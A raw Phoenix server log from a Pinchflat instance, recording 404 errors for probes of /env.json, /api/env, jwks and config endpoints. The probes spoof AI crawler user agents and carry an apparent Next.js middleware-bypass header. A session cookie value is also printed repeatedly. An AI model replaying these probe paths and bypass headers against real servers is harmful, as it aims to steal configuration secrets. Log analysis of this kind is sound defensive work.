SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.645 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.645 [error] #PID<0.29813.0> running PinchflatWeb.Endpoint (connection #PID<0.29812.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /env.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29812.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34570}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29813.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jFfb0XSoIUABweB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29812.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34570}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29812.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34570}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:n (truncated) 16:49:09.675 [info] GET /.well-known/jwks.json 16:49:09.675 [debug] QUERY OK source="settings" db=0.1ms idle=133.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.675 [debug] QUERY OK source="settings" db=0.0ms idle=132.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.675 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.675 [error] #PID<0.29815.0> running PinchflatWeb.Endpoint (connection #PID<0.29814.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.well-known/jwks.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/jwks (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29814.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/jwks.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34574}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29815.0>, params: %{}, path_info: [".well-known", "jwks"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.well-known/jwks.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jMsXkwqNbsAAIHD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29814.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/jwks.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34574}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/jwks (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29814.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/jwks.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34574}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has (truncated) 16:49:09.686 [info] GET /api/env 16:49:09.686 [debug] QUERY OK source="settings" db=0.0ms idle=143.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.686 [debug] QUERY OK source="settings" db=0.1ms idle=41.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.686 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.687 [error] #PID<0.29817.0> running PinchflatWeb.Endpoint (connection #PID<0.29816.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29816.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34590}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29817.0>, params: %{}, path_info: ["api", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jPYRbFYodIAAIHj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29816.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34590}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29816.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34590}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, (truncated) 16:49:09.694 [info] GET /api/v2/config 16:49:09.694 [debug] QUERY OK source="settings" db=0.0ms idle=49.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.694 [debug] QUERY OK source="settings" db=0.0ms idle=19.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.694 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.695 [info] GET /api/v1/config 16:49:09.695 [debug] QUERY OK source="settings" db=0.1ms idle=19.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.695 [debug] QUERY OK source="settings" db=0.1ms idle=9.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.695 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.694 [error] #PID<0.29819.0> running PinchflatWeb.Endpoint (connection #PID<0.29818.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v2/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29818.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34602}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29819.0>, params: %{}, path_info: ["api", "v2", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", 